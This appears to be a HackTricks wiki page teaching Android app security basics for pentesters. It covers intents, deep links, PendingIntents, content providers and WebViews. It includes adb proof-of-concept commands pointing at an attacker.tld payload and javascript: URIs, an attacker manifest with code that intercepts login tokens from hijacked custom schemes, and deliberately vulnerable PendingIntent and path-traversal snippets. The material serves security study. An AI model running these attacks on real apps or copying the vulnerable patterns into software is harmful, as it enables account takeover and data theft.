android-applications-basics.md (51525B)
1 --- 2 title: "Android Applications Basics" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/android-app-pentesting/android-applications-basics.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Android Applications Basics 14 15 ## Android Security Model 16 17 **There are two layers:** 18 19 - The **OS**, which keeps installed applications isolated from one another. 20 - The **application itself**, which allows developers to **expose certain functionalities** and configures application capabilities. 21 22 ### UID Separation 23 24 **Each application is assigned a specific User ID**. This is done during the installation of the app so t**he app can only interact with files owned by its User ID or shared** files. Therefore, only the app itself, certain components of the OS and the root user can access the apps data. 25 26 ### UID Sharing 27 28 **Two applications can be configured to use the same UID**. This can be useful to share information, but if one of them is compromised the data of both applications will be compromised. This is why this behaviour is **discourage**.\ 29 **To share the same UID, applications must define the same `android:sharedUserId` value in their manifests.** 30 31 ### Sandboxing 32 33 The **Android Application Sandbox** allows to run **each application** as a **separate process under a separate user ID**. Each process has its own virtual machine, so an app’s code runs in isolation from other apps.\ 34 From Android 5.0(L) **SELinux** is enforced. Basically, SELinux denied all process interactions and then created policies to **allow only the expected interactions between them**. 35 36 ### Permissions 37 38 When you installs an **app and it ask for permissions**, the app is asking for the permissions configured in the **`uses-permission`** elements in the **AndroidManifest.xml** file. The **uses-permission** element indicates the name of the requested permission inside the **name** **attribute.** It also has the **maxSdkVersion** attribute which stops asking for permissions on versions higher than the one specified.\ 39 Note that android applications don't need to ask for all the permissions at the beginning, they can also **ask for permissions dynamically** but all the permissions must be **declared** in the **manifest.** 40 41 When an app exposes functionality it can limit the **access to only apps that have a specified permission**.\ 42 A permission element has three attributes: 43 44 - The **name** of the permission 45 - The **permission-group** attribute, which allows for grouping related permissions. 46 - The **protection-level** which indicates how the permissions are granted. There are four types: 47 - **Normal**: Used when there are **no known threats** to the app. The user is **not required to approve i**t. 48 - **Dangerous**: Indicates the permission grants the requesting application some **elevated access**. **Users are requested to approve them**. 49 - **Signature**: Only **apps signed by the same certificate as the one** exporting the component can be granted permission. This is the strongest type of protection. 50 - **SignatureOrSystem**: Only **apps signed by the same certificate as the one** exporting the component or **apps running with system-level access** can be granted permissions 51 52 ## Pre-Installed Applications 53 54 These apps are generally found in the **`/system/app`** or **`/system/priv-app`** directories and some of them are **optimised** (you may not even find the `classes.dex` file). Theses applications are worth checking because some times they are **running with too many permissions** (as root). 55 56 - The ones shipped with the **AOSP** (Android OpenSource Project) **ROM** 57 - Added by the device **manufacturer** 58 - Added by the cell **phone provider** (if purchased from them) 59 60 ## Rooting 61 62 In order to obtain root access into a physical android device you generally need to **exploit** 1 or 2 **vulnerabilities** which use to be **specific** for the **device** and **version**.\ 63 Once the exploit has worked, usually the Linux `su` binary is copied into a location specified in the user's PATH env variable like `/system/xbin`. 64 65 Once the su binary is configured, another Android app is used to interface with the `su` binary and **process requests for root access** like **Superuser** and **SuperSU** (available in Google Play store). 66 67 > [!CAUTION] 68 > Note that the rooting process is very dangerous and can damage severely the device 69 70 ### ROMs 71 72 It's possible to **replace the OS installing a custom firmware**. Doing this it's possible to extend the usefulness of an old device, bypass software restrictions or gain access to the latest Android code.\ 73 **OmniROM** and **LineageOS** are two of the most popular firmwares to use. 74 75 Note that **not always is necessary to root the device** to install a custom firmware. **Some manufacturers allow** the unlocking of their bootloaders in a well-documented and safe manner. 76 77 ### Implications 78 79 Once a device is rooted, any app could request access as root. If a malicious application gets it, it can will have access to almost everything and it will be able to damage the phone. 80 81 ## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a> 82 83 - The format of Android applications is referred to as _APK file format_. It is essentially a **ZIP file** (by renaming the file extension to .zip, the contents can be extracted and viewed). 84 - APK Contents (Not exhaustive) 85 - **AndroidManifest.xml** 86 - resources.arsc/strings.xml 87 - resources.arsc: contains precompiled resources, like binary XML. 88 - res/xml/files_paths.xml 89 - META-INF/ 90 - This is where the Certificate is located! 91 - **classes.dex** 92 - Contains Dalvik bytecode, representing the compiled Java (or Kotlin) code that the application executes by default. 93 - lib/ 94 - Houses native libraries, segregated by CPU architecture in subdirectories. 95 - `armeabi`: code for ARM based processors 96 - `armeabi-v7a`: code for ARMv7 and higher based processors 97 - `x86`: code for X86 processors 98 - `mips`: code for MIPS processors only 99 - assets/ 100 - Stores miscellaneous files needed by the app, potentially including additional native libraries or DEX files, sometimes used by malware authors to conceal additional code. 101 - res/ 102 - Contains resources that are not compiled into resources.arsc 103 104 ### **Dalvik & Smali** 105 106 In Android development, **Java or Kotlin** is used for creating apps. Instead of using the JVM like in desktop apps, Android compiles this code into **Dalvik Executable (DEX) bytecode**. Earlier, the Dalvik virtual machine handled this bytecode, but now, the Android Runtime (ART) takes over in newer Android versions. 107 108 For reverse engineering, **Smali** becomes crucial. It's the human-readable version of DEX bytecode, acting like assembly language by translating source code into bytecode instructions. Smali and baksmali refer to the assembly and disassembly tools in this context. 109 110 ### Modern manifest triage (Android 11+) 111 112 When reviewing a modern APK, the **Manifest** usually gives away not only the **attack surface**, but also several **platform-version assumptions** that directly affect exploitation: 113 114 - **`android:exported`**: from Android 12 / targetSdk 31 onward, components with intent-filters must declare it explicitly. This makes it easier to quickly enumerate which Activities / Services / Receivers / Providers are intentionally reachable from other apps. 115 - **Backups and device-to-device transfer**: don't stop at `android:allowBackup`. Check whether the app also defines **`android:fullBackupContent`** (older behaviour) and **`android:dataExtractionRules`** (Android 12+) because secrets may still be copied during cloud backup or device migration if the rules are too broad. 116 - **Package visibility (`<queries>`)**: since Android 11, apps do **not** see every installed package by default. The `<queries>` block often reveals which external apps the target expects to interact with (banking apps, authenticators, wallets, browsers, MDM agents, etc.) and helps you understand why some implicit-intent PoCs only resolve after you install a matching handler. 117 118 Example of interesting manifest entries to grep first: 119 120 ```xml 121 <manifest> 122 <application 123 android:allowBackup="true" 124 android:fullBackupContent="@xml/backup_rules" 125 android:dataExtractionRules="@xml/backup_rules_extraction" /> 126 127 <queries> 128 <package android:name="com.bank.mobile" /> 129 <intent> 130 <action android:name="android.intent.action.VIEW" /> 131 <data android:scheme="wallet" /> 132 </intent> 133 </queries> 134 </manifest> 135 ``` 136 137 As a pentest heuristic, treat **backup rules** and **`<queries>` declarations** as recon gold: they frequently expose sensitive restore/import paths, third-party trust relationships, and the exact app-to-app flows you should try to hijack. 138 139 ## Intents 140 141 Intents are the primary means by which Android apps communicate between their components or with other apps. These message objects can also carry data between apps or component, similar to how GET/POST requests are used in HTTP communications. 142 143 So an Intent is basically a **message that is passed between components**. Intents **can be directed** to specific components or apps, **or can be sent without a specific recipient**.\ 144 To be simple Intent can be used: 145 146 - To start an Activity, typically opening a user interface for an app 147 - As broadcasts to inform the system and apps of changes 148 - To start, stop, and communicate with a background service 149 - To access data via ContentProviders 150 - As callbacks to handle events 151 152 If vulerable, **Intents can be used to perform a variety of attacks**. 153 154 ### Intent-Filter 155 156 **Intent Filters** define **how an activity, service, or Broadcast Receiver can interact with different types of Intents**. Essentially, they describe the capabilities of these components, such as what actions they can perform or the kinds of broadcasts they can process. The primary place to declare these filters is within the **AndroidManifest.xml file**, though for Broadcast Receivers, coding them is also an option. 157 158 Intent Filters are composed of categories, actions, and data filters, with the possibility of including additional metadata. This setup allows components to handle specific Intents that match the declared criteria. 159 160 A critical aspect of Android components (activities/services/content providers/broadcast receivers) is their visibility or **public status**. A component is considered public and can interact with other apps if it is **`exported`** with a value of **`true`** or if an Intent Filter is declared for it in the manifest. However, there's a way for developers to explicitly keep these components private, ensuring they do not interact with other apps unintentionally. This is achieved by setting the **`exported`** attribute to **`false`** in their manifest definitions. 161 162 Moreover, developers have the option to secure access to these components further by requiring specific permissions. The **`permission`** attribute can be set to enforce that only apps with the designated permission can access the component, adding an extra layer of security and control over who can interact with it. 163 164 ```java 165 <activity android:name=".MyActivity" android:exported="false"> 166 <!-- Intent filters go here --> 167 </activity> 168 ``` 169 170 ### Android 16 intent hardening: test both mechanisms 171 172 Android 16 (API 36) introduced **two independent controls**, so a PoC can behave differently depending on the OS version, target SDK and final merged manifest: 173 174 - **Nested-intent launch protection is enabled by default on Android 16 for all apps.** When an app unparcels an embedded Intent received from another app, the platform tracks its creator and blocks a later launch when the provenance token is invalid, the creator could not launch the target, or the creator could not grant the requested URI access. Search Java/Kotlin and Smali for `removeLaunchSecurityProtection()` (including reflective calls): it deliberately removes this check and restores a high-value intent-redirection surface.<sup>[[21]](#references)</sup> 175 - **Strict incoming intent matching is opt-in for apps targeting Android 16+.** `android:intentMatchingFlags="enforceIntentFilter"` makes cross-app explicit Intents match the target component's filter and prevents actionless Intents from matching. It can be set on `<application>` and overridden per component; `none` disables the rules and `allowNullAction` relaxes only the missing-action check. These flags do not affect communication inside the same app.<sup>[[22]](#references)</sup> 176 177 A manifest can therefore look hardened globally while leaving one externally reachable exception: 178 179 ```xml 180 <application android:intentMatchingFlags="enforceIntentFilter"> 181 <receiver android:name=".RelayReceiver" 182 android:exported="true" 183 android:intentMatchingFlags="none" /> 184 </application> 185 ``` 186 187 Practical triage: 188 189 ```bash 190 apkanalyzer manifest print target.apk | grep -nE 'targetSdkVersion|intentMatchingFlags|exported' 191 192 # Mutate action/data against a known exported Activity filter 193 adb shell am start -W -n com.target/.EntryActivity -a com.attacker.UNEXPECTED -d 'https://wrong.example/' 194 adb shell am start -W -n com.target/.EntryActivity # null action 195 196 adb logcat -s PackageManager 197 ``` 198 199 With strict matching enabled, blocked cross-app calls are logged under `PackageManager` with messages containing `Intent does not match component's intent filter` or `Access blocked`. Always repeat nested-intent PoCs on API 35 and API 36: failure only on Android 16 can identify a **platform mitigation**, not a fixed application sink. For constructing the nested payload and testing private-component or URI-grant pivots, see [Intent Injection](/hacktricks/mobile-pentesting/android-app-pentesting/intent-injection).<sup>[[21]](#references)[[22]](#references)</sup> 200 201 ### Implicit Intents 202 203 Intents are programatically created using an Intent constructor: 204 205 ```java 206 Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); 207 ``` 208 209 The **Action** of the previously declared intent is **ACTION_SEND** and the **Extra** is a mailto **Uri** (the Extra if the extra information the intent is expecting). 210 211 This intent should be declared inside the manifest as in the following example: 212 213 ```xml 214 <activity android:name="ShareActivity"> 215 <intent-filter> 216 <action android:name="android.intent.action.SEND" /> 217 <category android:name="android.intent.category.DEFAULT" /> 218 </intent-filter> 219 </activity> 220 ``` 221 222 An intent-filter needs to match the **action**, **data** and **category** to receive a message. 223 224 The "Intent resolution" process determine which app should receive each message. This process considers the **priority attribute**, which can be set in the i**ntent-filter declaration**, and t**he one with the higher priority will be selected**. This priority can be set between -1000 and 1000 and applications can use the `SYSTEM_HIGH_PRIORITY` value. If a **conflict** arises, a "choser" Window appears so the **user can decide**. 225 226 ### Explicit Intents 227 228 An explicit intent specifies the class name it's targeting: 229 230 ```java 231 Intent downloadIntent = new (this, DownloadService.class): 232 ``` 233 234 In other applications in order to access to the previously declared intent you can use: 235 236 ```java 237 Intent intent = new Intent(); 238 intent.setClassName("com.other.app", "com.other.app.ServiceName"); 239 context.startService(intent); 240 ``` 241 242 ### Pending Intents 243 244 These allow other applications to **take actions on behalf of your application**, using your app's identity and permissions. Constructing a Pending Intent it should be **specified an intent and the action to perform**. If the **declared intent isn't Explicit** (doesn't declare which intent can call it) a **malicious application could perform the declared action** on behalf of the victim app. Moreover, **if an action isn't specified**, the malicious app will be able to do **any action on behalf the victim**. 245 246 Modern Android versions made this area much easier to triage:<sup>[[14]](#references)</sup> 247 248 - Apps targeting Android 12+ should declare **`FLAG_IMMUTABLE`** or **`FLAG_MUTABLE`** explicitly. During review, grep for `PendingIntent.getActivity`, `getBroadcast`, and `getService` and check whether the wrapped Intent is **explicit** or still attacker-influenceable. 249 - If the PendingIntent is **mutable** and the base Intent leaves fields unset, another app can often use `fillIn()` semantics to inject **extras, data, action, package, or even a component**, turning it into an **intent-redirection / privilege-confusion** primitive. 250 - If the token is meant to be consumed only once (approval flows, auth callbacks, one-time actions), missing **`FLAG_ONE_SHOT`** enables **replay**. 251 - On Android 14+ targets, creating a **mutable PendingIntent wrapping an implicit Intent** throws an exception unless the app opts into the dangerous **`FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT`** behaviour. This means older apps remain exploitable, while newer apps using that escape hatch deserve immediate attention. 252 253 Minimal vulnerable pattern: 254 255 ```java 256 Intent i = new Intent(); // implicit + fields still empty 257 PendingIntent pi = PendingIntent.getActivity( 258 context, 259 0, 260 i, 261 PendingIntent.FLAG_MUTABLE 262 ); 263 ``` 264 265 If you find this pattern in a notification / widget / exported receiver flow, try to control the unresolved fields and pivot into private components. For broader exploitation chains, see [Intent Injection](/hacktricks/mobile-pentesting/android-app-pentesting/intent-injection). 266 267 ### Broadcast Intents 268 269 Unlike the previous intents, which are only received by one app, broadcast intents **can be received by multiple apps**. However, from API version 14, it's **possible to specify the app that should receive** the message using Intent.set Package. 270 271 Alternatively it's also possible to **specify a permission when sending the broadcast**. The receiver app will need to have that permission. 272 273 There are **two types** of Broadcasts: **Normal** (asynchronous) and **Ordered** (synchronous). The **order** is base on the **configured priority within the receiver** element. **Each app can process, relay or drop the Broadcast.** 274 275 It's possible to **send** a **broadcast** using the function `sendBroadcast(intent, receiverPermission)` from the `Context` class.\ 276 You could also use the function **`sendBroadcast`** from the **`LocalBroadCastManager`** ensures the **message never leaves the app**. Using this you won't even need to export a receiver component. 277 278 ### Sticky Broadcasts 279 280 This kind of Broadcasts **can be accessed long after they were sent**.\ 281 These were deprecated in API level 21 and it's recommended to **not use them**.\ 282 **They allow any application to sniff the data, but also to modify it.** 283 284 If you find functions containing the word "sticky" like **`sendStickyBroadcast`** or **`sendStickyBroadcastAsUser`**, **check the impact and try to remove them**. 285 286 ## Deep links / URL schemes 287 288 In Android applications, **deep links** are used to initiate an action (Intent) directly through a URL. This is done by declaring a specific **URL scheme** within an activity. When an Android device tries to **access a URL with this scheme**, the specified activity within the application is launched.<sup>[[16]](#references)</sup> 289 290 The scheme must be declarated in the **`AndroidManifest.xml`** file: 291 292 ```xml 293 [...] 294 <activity android:name=".MyActivity"> 295 <intent-filter> 296 <action android:name="android.intent.action.VIEW" /> 297 <category android:name="android.intent.category.DEFAULT" /> 298 <category android:name="android.intent.category.BROWSABLE" /> 299 <data android:scheme="examplescheme" /> 300 </intent-filter> 301 [...] 302 ``` 303 304 The scheme from the previous example is `examplescheme://` (note also the **`category BROWSABLE`**) 305 306 Then, in the data field, you can specify the **host** and **path**: 307 308 ```xml 309 <data android:scheme="examplescheme" 310 android:host="example" 311 /> 312 ``` 313 314 To access it from a web it's possible to set a link like: 315 316 ```xml 317 <a href="examplescheme://example/something">click here</a> 318 <a href="examplescheme://example/javascript://%250dalert(1)">click here</a> 319 ``` 320 321 In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. 322 323 Learn how to [call deep links without using HTML pages](#exploiting-schemes-deep-links). 324 325 ### Deep link security testing & adb PoCs 326 327 - **Entry point discovery**: exported Activities that declare **`<action android:name="android.intent.action.VIEW" />` + `<category android:name="android.intent.category.BROWSABLE" />`** are remotely reachable via crafted URIs (custom schemes or `http/https` App Links). Prioritise paths containing **login/reset/payment/wallet/admin** keywords.<sup>[[13]](#references)</sup> 328 - **Validation bypass heuristics**: weak host checks such as `endsWith()`, `contains()`, permissive regexes, or substring allowlists can usually be bypassed with attacker-controlled subdomains, prefix/suffix tricks, and URL/UTF‑8 double-encoding. 329 - **WebView sinks**: if the handler forwards the incoming URI or query params to `WebView.loadUrl(...)`, you can coerce the app to render arbitrary attacker content. If scheme validation is weak, try **`javascript:`** payloads as well as external `https://` URLs. 330 - **adb PoC templates** (implicit vs explicit): 331 332 ```bash 333 # Generic implicit VIEW (custom scheme or App Link) 334 adb shell am start -a android.intent.action.VIEW \ 335 -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" 336 337 # Explicitly target a specific Activity 338 adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \ 339 -d "myapp://host/path?redirect=https://attacker.tld" 340 341 # Try javascript: when scheme filters are lax 342 adb shell am start -a android.intent.action.VIEW \ 343 -d "myapp://host/web?url=javascript:alert(1)" 344 ``` 345 346 - **Operational tips**: capture multiple payload variants (external URL vs `javascript:`) and replay them quickly against a device/emulator to distinguish real issues (open-redirect/auth-bypass/WebView URL injection) from static-analysis noise. 347 - **Automation**: [Deep-C](https://github.com/KishorBal/deep-C) automates deeplink hunting by decompiling the APK (apktool + dex2jar + jadx), enumerating **exported + browsable** activities, correlating weak validation and `WebView.loadUrl` flows, and emitting ready-to-run adb PoCs (optionally auto-executed with `--exec`).<sup>[[12]](#references)</sup> 348 349 ### Verified App Links (`https` + `android:autoVerify`) 350 351 **Verified App Links** reduce classic custom-scheme hijacking because Android checks the target host's **`/.well-known/assetlinks.json`** file before treating the app as the default handler for matching `https` links. From a pentest perspective, however, they are still worth testing because **mis-verification usually drops the flow back to a chooser / browser path**, reviving hijack or phishing opportunities.<sup>[[15]](#references)</sup> 352 353 Quick checks: 354 355 ```bash 356 # Force a fresh verification attempt 357 adb shell pm verify-app-links --re-verify com.target.app 358 359 # Inspect current per-domain status 360 adb shell pm get-app-links com.target.app 361 ``` 362 363 What to look for: 364 365 - `android:autoVerify="true"` in `VIEW` + `BROWSABLE` `http/https` filters 366 - mismatched SHA-256 fingerprints in `assetlinks.json` 367 - host canonicalization mistakes (`www` vs apex, trailing dot, redirects, dead subdomains) 368 - on Android 11 and lower, **one bad host** in the manifest can cause **all hosts** in that App Link declaration to fail verification 369 370 So even if the app *looks* like it uses safe `https` App Links, always verify the **runtime domain state** on a device before assuming custom-scheme hijacking is dead. 371 372 ### Custom-scheme handler hijacking of onboarding / auth tokens 373 374 Custom schemes are convenient, but they **do not prove ownership**. If an app ships a sensitive onboarding or login flow that places a bearer-like secret inside a URI such as `myapp://bind?code=<token>`, another installed app can register the same scheme and receive the full deep link when the victim opens it from a QR scan, browser, or any other implicit `VIEW` trigger.<sup>[[20]](#references)</sup> 375 376 Typical attacker manifest: 377 378 ```xml 379 <activity android:name=".StealerActivity" android:exported="true"> 380 <intent-filter> 381 <action android:name="android.intent.action.VIEW" /> 382 <category android:name="android.intent.category.DEFAULT" /> 383 <category android:name="android.intent.category.BROWSABLE" /> 384 <data android:scheme="myapp" /> 385 </intent-filter> 386 </activity> 387 ``` 388 389 Minimal interception logic: 390 391 ```java 392 Intent intent = getIntent(); 393 Uri data = intent.getData(); 394 String code = data != null ? data.getQueryParameter("code") : null; 395 // Exfiltrate or replay the token 396 ``` 397 398 Why this matters: 399 - If the deep link transports an **authorization code, bootstrap token, magic-login token, device-binding token, password-reset secret, or any other reusable credential**, this becomes an **account takeover / session takeover** primitive instead of just a local intent-routing bug. 400 - The issue is especially relevant in **QR-driven mobile onboarding** because users commonly scan with the camera app and then tap the OS "open link" prompt, which triggers an implicit `VIEW` resolution outside the trusted app context. 401 402 How to test: 403 - Look for authentication-related deep links in manifests, Java/Kotlin, and backend responses (`login`, `bind`, `register`, `signin`, `oauth`, `activate`, `reset`, `magic`). 404 - Confirm whether the flow places secrets in URI **query/path parameters** instead of retrieving them through a trusted app-to-backend exchange. 405 - Install a PoC app that claims the same scheme and replay the victim flow from every entry point you can reach: QR scan, HTML link, and adb: 406 407 ```bash 408 adb shell am start -a android.intent.action.VIEW \ 409 -d "myapp://bind?code=test-token" 410 ``` 411 412 - Check whether the attacker app receives the full URI, whether a chooser appears, and whether the intercepted token can be replayed remotely to finish login/onboarding. 413 414 Hardening notes: 415 - Prefer **verified `https` App Links** over custom schemes for security-sensitive flows. 416 - Do not embed reusable secrets in hijackable deep links; bind them to the app/backend session and expire them after one use. 417 - If a custom scheme is unavoidable, treat every inbound parameter as attacker-controlled and avoid using it as a standalone authenticator. 418 419 420 ## AIDL - Android Interface Definition Language 421 422 The **Android Interface Definition Language (AIDL)** is designed for facilitating communication between client and service in Android applications through **interprocess communication** (IPC). Since accessing another process's memory directly is not permitted on Android, AIDL simplifies the process by marshalling objects into a format understood by the operating system, thereby easing communication across different processes.<sup>[[2]](#references)</sup> 423 424 ### Key Concepts 425 426 - **Bound Services**: These services utilize AIDL for IPC, enabling activities or components to bind to a service, make requests, and receive responses. The `onBind` method in the service's class is critical for initiating interaction, marking it as a vital area for security review in search of vulnerabilities. 427 428 - **Messenger**: Operating as a bound service, Messenger facilitates IPC with a focus on processing data through the `onBind` method. It's essential to inspect this method closely for any unsafe data handling or execution of sensitive functions. 429 430 - **Binder**: Although direct usage of the Binder class is less common due to AIDL's abstraction, it's beneficial to understand that Binder acts as a kernel-level driver facilitating data transfer between the memory spaces of different processes. For further understanding, a resource is available at [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).<sup>[[3]](#references)[[4]](#references)</sup> 431 432 ## Components 433 434 These include: **Activities, Services, Broadcast Receivers and Providers.** 435 436 ### Launcher Activity and other activities 437 438 In Android apps, **activities** are like screens, showing different parts of the app's user interface. An app can have many activities, each one presenting a unique screen to the user. 439 440 The **launcher activity** is the main gateway to an app, launched when you tap the app's icon. It's defined in the app's manifest file with specific MAIN and LAUNCHER intents: 441 442 ```html 443 <activity android:name=".LauncherActivity"> 444 <intent-filter> 445 <action android:name="android.intent.action.MAIN" /> 446 <category android:name="android.intent.category.LAUNCHER" /> 447 </intent-filter> 448 </activity> 449 ``` 450 451 Not all apps need a launcher activity, especially those without a user interface, like background services. 452 453 Activities can be made available to other apps or processes by marking them as "exported" in the manifest. This setting allows other apps to start this activity: 454 455 ```markdown 456 <service android:name=".ExampleExportedService" android:exported="true"/> 457 ``` 458 459 However, accessing an activity from another app isn't always a security risk. The concern arises if sensitive data is being shared improperly, which could lead to information leaks. 460 461 An activity's lifecycle **begins with the onCreate method**, setting up the UI and preparing the activity for interaction with the user. 462 463 ### Application Subclass 464 465 In Android development, an app has the option to create a **subclass** of the [Application](https://developer.android.com/reference/android/app/Application) class, though it's not mandatory. When such a subclass is defined, it becomes the first class to be instantiated within the app. The **`attachBaseContext`** method, if implemented in this subclass, is executed before the **`onCreate`** method. This setup allows for early initialization before the rest of the application starts. 466 467 ```java 468 public class MyApp extends Application { 469 @Override 470 protected void attachBaseContext(Context base) { 471 super.attachBaseContext(base); 472 // Initialization code here 473 } 474 475 @Override 476 public void onCreate() { 477 super.onCreate(); 478 // More initialization code 479 } 480 } 481 ``` 482 483 ### Services 484 485 [Services](https://developer.android.com/guide/components/services) are **background operatives** capable of executing tasks without a user interface. These tasks can continue running even when users switch to different applications, making services crucial for **long-running operations**. 486 487 Services are versatile; they can be initiated in various ways, with **Intents** being the primary method for launching them as an application's entry point. Once a service is started using the `startService` method, its `onStart` method kicks into action and keeps running until the `stopService` method is explicitly called. Alternatively, if a service's role is contingent on an active client connection, the `bindService` method is used for binding the client to the service, engaging the `onBind` method for data passage. 488 489 An interesting application of services includes background music playback or network data fetching without hindering the user's interaction with an app. Moreover, services can be made accessible to other processes on the same device through **exporting**. This is not the default behavior and requires explicit configuration in the Android Manifest file: 490 491 ```xml 492 <service android:name=".ExampleExportedService" android:exported="true"/> 493 ``` 494 495 ### Broadcast Receivers 496 497 **Broadcast receivers** act as listeners in a messaging system, allowing multiple applications to respond to the same messages from the system. An app can **register a receiver** in **two primary ways**: through the app's **Manifest** or **dynamically** within the app's code via the **`registerReceiver`** API. In the Manifest, broadcasts are filtered with permissions, while dynamically registered receivers can also specify permissions upon registration. 498 499 **Intent filters** are crucial in both registration methods, determining which broadcasts trigger the receiver. Once a matching broadcast is sent, the receiver's **`onReceive`** method is invoked, enabling the app to react accordingly, such as adjusting behavior in response to a low battery alert. 500 501 Broadcasts can be either **asynchronous**, reaching all receivers without order, or **synchronous**, where receivers get the broadcast based on set priorities. However, it's important to note the potential security risk, as any app can prioritize itself to intercept a broadcast. 502 503 To understand a receiver's functionality, look for the **`onReceive`** method within its class. This method's code can manipulate the received Intent, highlighting the need for data validation by receivers, especially in **Ordered Broadcasts**, which can modify or drop the Intent. 504 505 For dynamically-registered receivers, pay special attention to the modern overloads of **`registerReceiver(...)`** / `ContextCompat.registerReceiver(...)`: 506 507 - **`RECEIVER_EXPORTED`** means the receiver is intentionally reachable from **other apps**, even if there is **no manifest entry** to grep for. 508 - **`RECEIVER_NOT_EXPORTED`** keeps it app-internal. 509 - Since Android 14 targets must choose one of those flags for context-registered receivers, this has become a very useful static triage signal: exported runtime receivers are often forgotten attack surface during reviews. 510 511 In practice, if developers use `RECEIVER_EXPORTED` to receive framework / vendor broadcasts (Bluetooth, telephony, OEM actions, etc.), immediately test whether the same action can also be sent by an unprivileged third-party app with attacker-controlled extras. 512 513 #### Weak receiver challenge-response and crash-to-restart primitives 514 515 Some OEM apps try to protect an exported receiver with a broadcasted challenge-response, but the challenge is generated from a **static `Random`** seeded once at process start (`new Random(System.currentTimeMillis())`). If you can force a restart or approximate the launch time, the receiver secret becomes brute-forceable within a very small seed window.<sup>[[18]](#references)</sup> 516 517 What to look for: 518 - exported receivers/services expecting a `VERIFY_*` / `AUTH_*` value back through another broadcast 519 - static or global `Random` instances seeded from wall-clock time 520 - 30-60 second verification windows 521 - other exported components that crash on `intent.getData()`, missing extras, or bad casts, giving you a **restart primitive** 522 523 In exploit chains, a null-deref or similar DoS in another exported component can reset the process and make the receiver-side RNG state predictable. 524 525 ### Content Provider 526 527 **Content Providers** are essential for **sharing structured data** between apps, emphasizing the importance of implementing **permissions** to ensure data security. They allow apps to access data from various sources, including databases, filesystems, or the web. Specific permissions, like **`readPermission`** and **`writePermission`**, are crucial for controlling access. Additionally, temporary access can be granted through **`grantUriPermission`** settings in the app's manifest, leveraging attributes such as `path`, `pathPrefix`, and `pathPattern` for detailed access control. 528 529 Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications.<sup>[[6]](#references)</sup> 530 531 #### DocumentProvider restore/import path traversal 532 533 When an exported receiver or service accepts **`DocumentProvider` / tree URIs** and then copies them into a local folder, the bug may live in the **consumer** rather than in the provider. A common anti-pattern is deriving the destination path from `DocumentsContract.getDocumentId(srcUri)` with string operations and passing the result directly into `new File(...)`. 534 535 ```java 536 File dstFile = new File( 537 DocumentsContract.getDocumentId(srcUri) 538 .replaceFirst(rootDocumentId, tempFolderPath) // no canonicalization 539 ); 540 try (InputStream in = resolver.openInputStream(srcUri); 541 OutputStream out = new FileOutputStream(dstFile)) { 542 // copy attacker-controlled bytes 543 } 544 ``` 545 546 If the attacker controls the provider, encoded traversal such as `data%2F..%2Fpayload.apk` becomes `data/../payload.apk` after decoding and can escape the intended directory. This yields an **arbitrary file write inside the victim app sandbox**, often enough to overwrite cached plugins, downloaded APKs, or restore targets.<sup>[[18]](#references)</sup> 547 548 Audit checklist: 549 - restore/import/migration actions receiving arrays of URIs (`SAVE_URI_PATHS`, `EXTRA_STREAM`, `ClipData`) 550 - calls to `DocumentsContract.getDocumentId`, `Uri.getPath`, `mkdirs`, `openInputStream`, `FileOutputStream` 551 - missing `getCanonicalPath()` + `startsWith(<allowed_dir>)` validation on the final destination 552 553 ### Permission semantics and pitfalls (Content Providers) 554 555 - If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.<sup>[[5]](#references)[[7]](#references)[[8]](#references)</sup> 556 - Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.<sup>[[5]](#references)[[9]](#references)</sup> 557 - Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern. 558 559 **FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently. 560 561 Example manifest declaration for FileProvider: 562 563 ```xml 564 <provider android:name="androidx.core.content.FileProvider" 565 android:authorities="com.example.myapp.fileprovider" 566 android:grantUriPermissions="true" 567 android:exported="false"> 568 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" 569 android:resource="@xml/filepaths" /> 570 </provider> 571 ``` 572 573 And an example of specifying shared folders in `filepaths.xml`: 574 575 ```xml 576 <paths> 577 <files-path path="images/" name="myimages" /> 578 </paths> 579 ``` 580 581 For further information check: 582 583 - [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers) 584 - [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing) 585 586 ## WebViews 587 588 WebViews are like **mini web browsers** inside Android apps, pulling content either from the web or from local files. They face similar risks as regular browsers, yet there are ways to **reduce these risks** through specific **settings**. 589 590 Android offers two main WebView types: 591 592 - **WebViewClient** is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested. 593 - **WebChromeClient** acts more like the full Chrome browser experience. 594 595 A key point is that WebView browsers do **not share cookies** with the device's main browser. 596 597 For loading content, methods such as `loadUrl`, `loadData`, and `loadDataWithBaseURL` are available. It's crucial to ensure these URLs or files are **safe to use**. Security settings can be managed via the `WebSettings` class. For instance, disabling JavaScript with `setJavaScriptEnabled(false)` can prevent XSS attacks. 598 599 The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with `@JavascriptInterface` for security from Android 4.2 onwards. 600 601 